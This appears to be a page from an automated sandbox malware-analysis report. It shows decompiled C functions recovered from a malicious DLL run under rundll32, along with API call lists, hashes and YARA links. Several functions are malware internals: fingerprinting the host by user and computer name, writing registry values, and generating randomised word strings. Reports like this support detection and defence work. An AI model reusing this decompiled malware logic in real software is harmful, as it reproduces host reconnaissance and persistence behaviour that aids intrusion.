                    Function 03184C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 88%
                    			E03184C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x318a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E03186536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E0318313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E031861DA(_a8);
						goto L29;
					}
					_t64 =  *0x318a318; // 0x57c9dd8
					_t16 = _t64 + 0xc; // 0x57c9efa
					_t65 = E03186536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d031890
						if(E03187767(_t97,  *_t33, _t91, _a8,  *0x318a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x318a348; // 0x263d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x318bb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x318bbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E03187238(_t69,  *0x318a3d4,  *0x318a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x318a348; // 0x263d5a8
									_t44 = _t71 + 0x318b332; // 0x74666f53
									_t73 = E03186536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d031890
										E03185B0E( *_t47, _t91, _a8,  *0x318a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d031890
										E03185B0E( *_t49, _t91, _t99,  *0x318a3d0, _a16);
										E031861DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d031890
									E03185B0E( *_t40, _t91, _a8,  *0x318a3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d031890
									E03185B0E( *_t43, _t91, _a8,  *0x318a3d0, _a16);
								}
								if( *_t101 != 0) {
									E031861DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d031890
					_t81 = E031858BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d031890
							E03187767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E031861DA(_t100);
						_t98 = _a16;
					}
					E031861DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E03187AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x318a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                    0x03184c94
                    0x03184c9d
                    0x03184ca4
                    0x03184ca9
                    0x03184d16
                    0x03184d1c
                    0x03184d21
                    0x03184d28
                    0x03184d2d
                    0x03184d32
                    0x03184e9d
                    0x03184ea4
                    0x03184ea4
                    0x03184ea9
                    0x03184eab
                    0x03184eab
                    0x03184eb4
                    0x03184eb4
                    0x03184d38
                    0x03184d44
                    0x03184e93
                    0x03184e96
                    0x00000000
                    0x03184e96
                    0x03184d4a
                    0x03184d4f
                    0x03184d52
                    0x03184d57
                    0x03184d5c
                    0x03184da5
                    0x03184da5
                    0x03184db8
                    0x03184dc2
                    0x03184dc8
                    0x03184dcf
                    0x03184dd9
                    0x03184dd9
                    0x03184dd1
                    0x03184dd1
                    0x03184dd1
                    0x03184dd1
                    0x03184dfb
                    0x03184e03
                    0x03184e31
                    0x03184e36
                    0x03184e3d
                    0x03184e42
                    0x03184e46
                    0x03184e78
                    0x03184e48
                    0x03184e55
                    0x03184e58
                    0x03184e68
                    0x03184e6b
                    0x03184e71
                    0x03184e71
                    0x03184e05
                    0x03184e12
                    0x03184e15
                    0x03184e27
                    0x03184e2a
                    0x03184e2a
                    0x03184e82
                    0x03184e8e
                    0x03184e84
                    0x03184e87
                    0x03184e87
                    0x03184e82
                    0x03184dfb
                    0x00000000
                    0x03184dc2
                    0x03184d6b
                    0x03184d6e
                    0x03184d75
                    0x03184d7b
                    0x03184d7e
                    0x03184d80
                    0x03184d8c
                    0x03184d8f
                    0x03184d8f
                    0x03184d95
                    0x03184d9a
                    0x03184d9a
                    0x03184da0
                    0x00000000
                    0x03184da0
                    0x03184cae
                    0x00000000
                    0x03184cd5
                    0x03184cd5
                    0x03184ce1
                    0x03184cf4
                    0x03184cfa
                    0x03184d02
                    0x00000000
                    0x03184d02

                    APIs
                    • StrChrA.SHLWAPI(03186A76,0000005F,00000000,00000000,00000104), ref: 03184CC7
                    • lstrcpy.KERNEL32(?,?), ref: 03184CF4
                      • Part of subcall function 03186536: lstrlen.KERNEL32(?,00000000,057C9DD8,00000000,03186F0A,057C9FFB,43175AC3,?,?,?,?,43175AC3,00000005,0318A00C,4D283A53,?), ref: 0318653D
                      • Part of subcall function 03186536: mbstowcs.NTDLL ref: 03186566
                      • Part of subcall function 03186536: memset.NTDLL ref: 03186578
                      • Part of subcall function 03185B0E: lstrlenW.KERNEL32(?,?,?,03184E5D,3D031890,80000002,03186A76,031857D1,74666F53,4D4C4B48,031857D1,?,3D031890,80000002,03186A76,?), ref: 03185B33
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    • lstrcpy.KERNEL32(?,00000000), ref: 03184D16
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                    • String ID: ($\
                    • API String ID: 3924217599-1512714803
                    • Opcode ID: 8cb86ffbe1cde1b343f309120db567e504198f38d2cffee966427217527c7119
                    • Instruction ID: bef5cca3c917cd5ee245b7da8ff9dccda4a4feaa2ba2d964842b002a971df9d3
                    • Opcode Fuzzy Hash: 8cb86ffbe1cde1b343f309120db567e504198f38d2cffee966427217527c7119
                    • Instruction Fuzzy Hash: 5151773A00020AEFDF15FF61DC40EAA7BBAEF1C344F148519FA119A160DB35D9659F68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03187040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 22%
                    			E03187040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E031833DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E031861DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E031833DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x318a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                    0x03187047
                    0x0318704e
                    0x03187053
                    0x03187056
                    0x0318705d
                    0x03187060
                    0x03187063
                    0x03187068
                    0x0318706d
                    0x031871c1
                    0x031871c3
                    0x031871c5
                    0x031871ca
                    0x031871ca
                    0x03187073
                    0x03187076
                    0x03187079
                    0x0318707b
                    0x0318707b
                    0x0318707f
                    0x00000000
                    0x00000000
                    0x03187083
                    0x031870af
                    0x031870b4
                    0x031870b6
                    0x031870b6
                    0x031870b9
                    0x031870bc
                    0x031870bc
                    0x031870be
                    0x00000000
                    0x03187089
                    0x0318708b
                    0x031870aa
                    0x031870aa
                    0x031870c1
                    0x031870c1
                    0x031870c2
                    0x031870c2
                    0x031870c5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x031870c5
                    0x0318708f
                    0x031870d6
                    0x031870da
                    0x031871b4
                    0x031871b6
                    0x031871b6
                    0x031871b7
                    0x031871ba
                    0x00000000
                    0x031871ba
                    0x031870e3
                    0x031870f4
                    0x031870f8
                    0x031871b0
                    0x00000000
                    0x031871b0
                    0x031870fe
                    0x03187101
                    0x03187105
                    0x03187109
                    0x0318710e
                    0x031871a6
                    0x031871a6
                    0x00000000
                    0x031871ac
                    0x03187119
                    0x03187122
                    0x03187136
                    0x0318713d
                    0x03187152
                    0x03187158
                    0x03187160
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x03187162
                    0x03187162
                    0x03187162
                    0x03187169
                    0x03187171
                    0x00000000
                    0x00000000
                    0x03187173
                    0x0318717c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0318717e
                    0x03187180
                    0x03187183
                    0x03187183
                    0x03187186
                    0x0318718a
                    0x0318718d
                    0x03187193
                    0x03187196
                    0x0318719d
                    0x00000000
                    0x03187119
                    0x03187094
                    0x0318709c
                    0x031870a2
                    0x031870a4
                    0x031870a4
                    0x031870a7
                    0x031870a9
                    0x00000000
                    0x031870a9
                    0x03187083
                    0x031870c9
                    0x031870ce
                    0x031870d0
                    0x031870d0
                    0x031870d3
                    0x031870d3
                    0x00000000

                    APIs
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • lstrcpy.KERNEL32(43175AC4,00000020), ref: 0318713D
                    • lstrcat.KERNEL32(43175AC4,00000020), ref: 03187152
                    • lstrcmp.KERNEL32(00000000,43175AC4), ref: 03187169
                    • lstrlen.KERNEL32(43175AC4), ref: 0318718D
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                    • String ID:
                    • API String ID: 3214092121-3916222277
                    • Opcode ID: d598f9fd1411cb4ce32bf215fa0e23be6379b1ebc3a03f27cd708410f7076fb2
                    • Instruction ID: 2c38ab6ceda10a827fc8ef23d5ab5dc643fbe9feed6d7221fc9128ce78b6748c
                    • Opcode Fuzzy Hash: d598f9fd1411cb4ce32bf215fa0e23be6379b1ebc3a03f27cd708410f7076fb2
                    • Instruction Fuzzy Hash: 8B51B231A00208EFDF15EF99C4846ADFBB6FF4A354F29805AE8159B281C770D641CF98
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03181340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03181340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E031833DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E031861DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x3183e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                    0x0318134e
                    0x03181351
                    0x03181354
                    0x0318135a
                    0x0318135f
                    0x03181365
                    0x0318136d
                    0x03181370
                    0x03181376
                    0x0318137b
                    0x03181384
                    0x03181388
                    0x03181395
                    0x03181399
                    0x0318139b
                    0x0318139f
                    0x031813a2
                    0x031813b2
                    0x03181405
                    0x03181406
                    0x031813b4
                    0x031813b9
                    0x031813ba
                    0x031813bf
                    0x031813c2
                    0x031813d5
                    0x00000000
                    0x031813d7
                    0x031813da
                    0x031813df
                    0x031813ed
                    0x031813f0
                    0x031813f6
                    0x031813fb
                    0x00000000
                    0x031813fd
                    0x031813fd
                    0x03181400
                    0x03181400
                    0x031813fb
                    0x031813d5
                    0x0318140b
                    0x0318140c
                    0x0318137b
                    0x03181412

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,03183DFF), ref: 03181354
                    • GetComputerNameW.KERNEL32(00000000,03183DFF), ref: 03181370
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • GetUserNameW.ADVAPI32(00000000,03183DFF), ref: 031813AA
                    • GetComputerNameW.KERNEL32(03183DFF,7491C740), ref: 031813CD
                    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,03183DFF,00000000,03183E01,00000000,00000000,?,7491C740,03183DFF), ref: 031813F0
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                    • String ID:
                    • API String ID: 3850880919-0
                    • Opcode ID: a809d9b9c510a14e25b0d15dece5eb1cf27277f9a04025e71197e3e512c0e5b5
                    • Instruction ID: de8c2486b9ecde174e8592a11032b75cc32958cd2bc2de930016c4ee56f5263b
                    • Opcode Fuzzy Hash: a809d9b9c510a14e25b0d15dece5eb1cf27277f9a04025e71197e3e512c0e5b5
                    • Instruction Fuzzy Hash: 2921CA76900208FFDB15EFE5D9848EEBBBCEF48204B5544AAE502E7241DB30AB45DF64
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031854D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E031854D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x318a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x318a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x318a2f8 = _t6;
					 *0x318a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x318a2f4 = _t7;
					if(_t7 == 0) {
						 *0x318a2f4 =  *0x318a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                    0x031854e0
                    0x031854e6
                    0x031854ed
                    0x00000000
                    0x03185547
                    0x031854ef
                    0x031854f7
                    0x03185504
                    0x03185504
                    0x03185544
                    0x00000000
                    0x03185544
                    0x03185506
                    0x03185506
                    0x0318550b
                    0x0318551d
                    0x03185522
                    0x03185528
                    0x0318552e
                    0x03185535
                    0x03185537
                    0x03185537
                    0x00000000
                    0x0318553e
                    0x03185500
                    0x00000000
                    0x00000000
                    0x03185502
                    0x00000000

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,03185037,?), ref: 031854E0
                    • GetVersion.KERNEL32 ref: 031854EF
                    • GetCurrentProcessId.KERNEL32 ref: 0318550B
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 03185528
                    • GetLastError.KERNEL32 ref: 03185547
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                    • String ID:
                    • API String ID: 2270775618-0
                    • Opcode ID: 62f43892addc429051ab9bfffbce36623492c58db80e324ebeb996054222b521
                    • Instruction ID: 25801c3fa73351a71f93e6099913d6c0b5bcbdcf8d443208dfa2153a799657b6
                    • Opcode Fuzzy Hash: 62f43892addc429051ab9bfffbce36623492c58db80e324ebeb996054222b521
                    • Instruction Fuzzy Hash: 8AF019B0641302ABD728BB24A859B243BABEB0E751F14445AEA56D61C8D77580C0CF2D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(?), ref: 031859B8
                    • SysFreeString.OLEAUT32(00000000), ref: 03185A9D
                      • Part of subcall function 03186CDF: SysAllocString.OLEAUT32(03189284), ref: 03186D2F
                    • SafeArrayDestroy.OLEAUT32(00000000), ref: 03185AF0
                    • SysFreeString.OLEAUT32(00000000), ref: 03185AFF
                      • Part of subcall function 031877E3: Sleep.KERNEL32(000001F4), ref: 0318782B
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFree$ArrayDestroySafeSleep
                    • String ID:
                    • API String ID: 3193056040-0
                    • Opcode ID: 241950224b814b64682de6e753d0090472faada3713555e993f3dddbb08123d7
                    • Instruction ID: 76a0bd53e92e490d42a55e3754187034584e15307e80aaea11a72bf17a8ed78e
                    • Opcode Fuzzy Hash: 241950224b814b64682de6e753d0090472faada3713555e993f3dddbb08123d7
                    • Instruction Fuzzy Hash: 37512C79500609AFDB01EFA8C884ADEB7B6FF8C740B248429E915DB250DB71DD45CF54
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03186CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 46%
                    			E03186CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x318a348; // 0x263d5a8
					_t5 = _t103 + 0x318b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x3189284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x318a348; // 0x263d5a8
												_t28 = _t109 + 0x318b0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x318a348; // 0x263d5a8
														_t33 = _t79 + 0x318b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                    0x03186ce4
                    0x03186ced
                    0x03186cee
                    0x03186cf2
                    0x03186cf8
                    0x03186cfe
                    0x03186d07
                    0x03186d0d
                    0x03186d17
                    0x03186d19
                    0x03186d1f
                    0x03186d24
                    0x03186d2f
                    0x03186d35
                    0x03186d3a
                    0x03186e5c
                    0x03186d40
                    0x03186d40
                    0x03186d4d
                    0x03186d53
                    0x03186d59
                    0x03186d5d
                    0x03186d63
                    0x03186d70
                    0x03186d74
                    0x03186d7a
                    0x03186d7d
                    0x03186d85
                    0x03186d86
                    0x03186d8a
                    0x03186d8e
                    0x03186d91
                    0x03186d94
                    0x03186d9a
                    0x03186da3
                    0x03186da9
                    0x03186daa
                    0x03186dad
                    0x03186dae
                    0x03186daf
                    0x03186db7
                    0x03186db8
                    0x03186db9
                    0x03186dbb
                    0x03186dbf
                    0x03186dc3
                    0x00000000
                    0x00000000
                    0x03186dc9
                    0x03186dd2
                    0x03186dd8
                    0x03186de2
                    0x03186de6
                    0x03186de8
                    0x03186df5
                    0x03186df9
                    0x03186e01
                    0x03186e06
                    0x03186e18
                    0x03186e1a
                    0x03186e20
                    0x03186e20
                    0x03186e29
                    0x03186e29
                    0x03186e2b
                    0x03186e31
                    0x03186e31
                    0x03186e34
                    0x03186e3a
                    0x03186e3d
                    0x03186e46
                    0x00000000
                    0x00000000
                    0x00000000
                    0x03186e46
                    0x03186d9a
                    0x03186d94
                    0x03186d7d
                    0x03186e4c
                    0x03186e4c
                    0x03186e52
                    0x03186e52
                    0x03186e58
                    0x03186e58
                    0x03186e61
                    0x03186e67
                    0x03186e67
                    0x03186d24
                    0x03186e70

                    APIs
                    • SysAllocString.OLEAUT32(03189284), ref: 03186D2F
                    • lstrcmpW.KERNEL32(00000000,0076006F), ref: 03186E10
                    • SysFreeString.OLEAUT32(00000000), ref: 03186E29
                    • SysFreeString.OLEAUT32(?), ref: 03186E58
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
